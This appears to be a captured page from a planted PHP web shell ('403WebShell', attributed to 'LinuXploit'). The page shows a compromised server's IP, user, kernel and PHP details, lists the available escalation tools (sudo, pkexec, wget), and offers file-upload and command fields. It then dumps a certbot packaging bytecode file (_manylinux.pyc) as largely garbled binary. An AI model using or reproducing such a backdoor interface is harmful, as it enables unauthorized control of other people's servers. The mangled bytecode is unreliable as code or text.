Uname:Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 173.249.148.11  /  Your IP : 216.73.216.179
Web Server : Apache/2.4.68 (AlmaLinux)
System : Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64
User : devinter ( 1006)
PHP Version : 8.3.35
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/certbot/current/lib/python3.12/site-packages/packaging/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/certbot/current/lib/python3.12/site-packages/packaging/__pycache__/_manylinux.cpython-312.pyc
�

��j'���UddlmZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
mZddlm
Z
mZmZmZe
rddlZddlmZmZmZdZdZd	Zhd
�Zej4d&d��Zd'd�Zd'd
�Zd(d�Zej>d��Z de!d<Gd�de�Z"d)d�Z#d)d�Z$d)d�Z%d*d�Z&ejNd+d��Z(ejNd��d,d��Z)d-d�Z*e"dd�de"dd�d e"dd!�d"iZ+d#e!d$<d.d%�Z,y)/�)�annotationsN)�
TYPE_CHECKING�
NamedTuple�)�EIClass�EIData�ELFFile�EMachine)�	Generator�Iterator�Sequencel~ii>�ppc64�s390x�x86_64�aarch64�ppc64le�riscv64�loongarch64c#�K�	t|d�5}t|���ddd�y#1swYyxYw#tttf$rd��YywxYw�w)N�rb)�openr	�OSError�	TypeError�
ValueError)�path�fs  �P/root/parts/certbot/install/lib/python3.12/site-packages/packaging/_manylinux.py�
_parse_elfr!sO�����
�$��
�	���!�*��	�	�	���Y�
�+���
��s>�A�3�'�3�A�0�3�A�3�A�A�
A�Ac�x�t|�5}|duxr�|jtjk(xrt|jt
jk(xrU|jtjk(xr6|jtztk(xr|jtztk(	cddd�S#1swYyxYw�N)r�capacityr�C32�encodingr�Lsb�machiner
�Arm�flags�EF_ARM_ABIMASK�EF_ARM_ABI_VER5�EF_ARM_ABI_FLOAT_HARD��
executablers  r�_is_linux_armhfr-*s���
�J�	�
�1�
�T�M�
I��
�
�g�k�k�)�
I��
�
�f�j�j�(�
I��	�	�X�\�\�)�
I����.�(�O�;�	
I�
���/�/�3H�H�
	
�
�
�
�s�BB0�0B9c��t|�5}|duxr[|jtjk(xr<|jt
jk(xr|jtjk(	cddd�S#1swYyxYwr )
rr!rr"r#rr$r%r
�I386r+s  r�_is_linux_i686r09sn��	�J�	�
�1�
�T�M�
+��
�
�g�k�k�)�
+��
�
�f�j�j�(�
+��	�	�X�]�]�*�		
�
�
�
�s�A"A8�8Bc�b�d|vrt|�Sd|vrt|�Std�|D��S)N�armv7l�i686c3�,K�|]}|tv���y�wr )�_ALLOWED_ARCHS)�.0�archs  r�	<genexpr>z'_have_compatible_abi.<locals>.<genexpr>Hs����8�$�t�~�%�8�s�)r-r0�any)r,�archss  r�_have_compatible_abir;Cs8���5���z�*�*�
����j�)�)��8�%�8�8�8�c��y)N�2�r?r<r�<lambda>r@Ps�r<zdict[int, int]�_LAST_GLIBC_MINORc�"�eZdZUded<ded<y)�
_GLibCVersion�int�major�minorN)�__name__�
__module__�__qualname__�__annotations__r?r<rrCrCSs���J��Jr<rCc��	tjd�}|�J�|j�\}}|S#ttt
tf$rYywxYw)zJ
    Primary implementation of glibc_version_string using os.confstr.
    �CS_GNU_LIBC_VERSIONN)�os�confstr�rsplit�AssertionError�AttributeErrorrr)�version_string�_�versions   r�_glibc_version_string_confstrrUXsX���%'�Z�Z�0E�%F���)�)�)�#�*�*�,�
��7��N��
�N�G�Z�@����s�,0�A�Ac��	ddl}	|jd�}	|j}|j|_|�}t|t�r|jd�}|S#t$rYywxYw#t$rYywxYw#t
$rYywxYw)zG
    Fallback implementation of glibc_version_string using ctypes.
    rN�ascii)�ctypes�ImportError�CDLLr�gnu_get_libc_versionrQ�c_char_p�restype�
isinstance�bytes�decode)rX�process_namespacer[�version_strs    r�_glibc_version_string_ctypesrcks�����"�"�K�K��-���0�E�E��$*�?�?�� �3�5�K��+�u�%�!�(�(��1�����G�����$�����
����s3�A �A/�A>� 	A,�+A,�/	A;�:A;�>	B
�	B
c�.�t�xs
t�S)z9Returns glibc version string, or None if not using glibc.)rUrcr?r<r�_glibc_version_stringre�s��(�*�L�.J�.L�Lr<c��tjd|�}|s+tjd|��td��tdd�Stt
|jd��t
|jd���S)a3Parse glibc version.

    We use a regexp instead of str.split because we want to discard any
    random junk that might come after the minor version -- this might happen
    in patched/forked versions of glibc (e.g. Linaro's version of glibc
    uses version strings like "2.20-2014.11"). See gh-3588.
    z$(?P<major>[0-9]+)\.(?P<minor>[0-9]+)z;Expected glibc version with 2 components major.minor, got: �)�
stacklevel���rErF)�re�match�warnings�warn�RuntimeWarningrCrD�group)rb�ms  r�_parse_glibc_versionrq�sl��	���8�+�F�A���
�
�I�+��W���	
�
�R��$�$���Q�W�W�W�-�.��A�G�G�G�4D�0E�F�Fr<c�H�t�}|�tdd�St|�S)Nri)rerCrq)rbs r�_get_glibc_versionrs�s(��'�)�K����R��$�$���,�,r<)�maxsizec�8�	td�S#t$rYywxYw)z�Return the ``_manylinux`` C extension module, or None if unavailable.

    The result is cached for the lifetime of the process, since the presence
    of the module does not change while running.
    �
_manylinuxN)�
__import__rYr?r<r�_get_manylinux_modulerx�s$����,�'�'������s�

�	�c���t�}||kryt�}|�yt|d�r'|j|d|d|�}|�t	|�Sy|tdd�k(r!t|d�rt	|j�S|tdd	�k(r!t|d
�rt	|j�S|tdd�k(r!t|d�rt	|j�Sy)
NFT�manylinux_compatiblerrrg��manylinux1_compatible��manylinux2010_compatible��manylinux2014_compatible)	rsrx�hasattrrz�boolrCr|r~r�)r7rT�	sys_glibc�
manylinux_mod�results     r�_is_compatibler��s���"�$�I��7���)�+�M�����}�4�5��3�3�G�A�J���
�D�Q������<����-��1�%�%�'��.�+��M�7�7�8�8��-��2�&�&�7��1�,��M�:�:�;�;��-��2�&�&�7��1�,��M�:�:�;�;�r<rgr�
manylinux2014r}�
manylinux2010r{�
manylinux1zdict[_GLibCVersion, str]�_LEGACY_MANYLINUX_MAPc#�K�ttj|�sytdd�}t	|�ddhzrtdd�}tt��}|g}t
|jdz
dd�D]&}t|}|jt||���(|D]�}|D]�}|j|jk(r
|j}nd}t
|j|d�D]\}t|j|�}	t||	�s�&d	jg|	�|�����tj|	�x}
s�T|
�d
|�����^����y�w)a�Generate manylinux tags compatible to the current platform.

    :param archs: Sequence of compatible architectures.
        The first one shall be the closest to the actual architecture and be the part of
        platform tag after the ``linux_`` prefix, e.g. ``x86_64``.
        The ``linux_`` prefix is assumed as a prerequisite for the current platform to
        be manylinux-compatible.

    :returns: An iterator of compatible manylinux tags.
    Nrg�rr3�rrizmanylinux_{}_{}_{}rS)r;�sysr,rC�setrs�rangerErA�appendrFr��formatr��get)r:�too_old_glibc2�
current_glibc�glibc_max_list�glibc_major�glibc_minorr7�	glibc_max�	min_minor�
glibc_version�
legacy_tags           r�
platform_tagsr��s\���� �����6��"�1�b�)�N�
�5�z�X�v�&�&�&�q�!�,��!�#5�#7�8�M�#�_�N��]�0�0�1�4�a��<�G��'��4�����m�K��E�F�G��5��'�
	5�I����.�"6�"6�6�*�0�0�	��	�$�Y�_�_�i��D�
5�� -�i�o�o�{� K�
�!�$�
�6�5�.�5�5�K�}�K�d�K�K�&;�%>�%>�}�%M�M�z�M�!+��A�d�V�4�4�
5�

	5�5�s�DE	�-E	�9E	)r�str�returnz%Generator[ELFFile | None, None, None])r,r�r�r�)r,r�r:�
Sequence[str]r�r�)r�z
str | None)rbr�r�rC)r�rC)r�ztypes.ModuleType | None)r7r�rTrCr�r�)r:r�r�z
Iterator[str])-�
__future__r�collections�
contextlib�	functoolsrMrjr�rl�typingrr�_elffilerrr	r
�types�collections.abcrrr
r(r)r*r5�contextmanagerrr-r0r;�defaultdictrArJrCrUrcrerq�	lru_cachersrxr�r�r�r?r<r�<module>r�s*��"����	�	�
��,�8�8���=�=�����"����������
�
�9�%<�K�$;�$;�J�$G��>�G��J��
�&)�XM�
G�&���-��-�����Q��	� �	��<�!�R��/��!�R��/��!�Q���
3��/��+5r<

Youez - 2016 - github.com/yon3zu
LinuXploit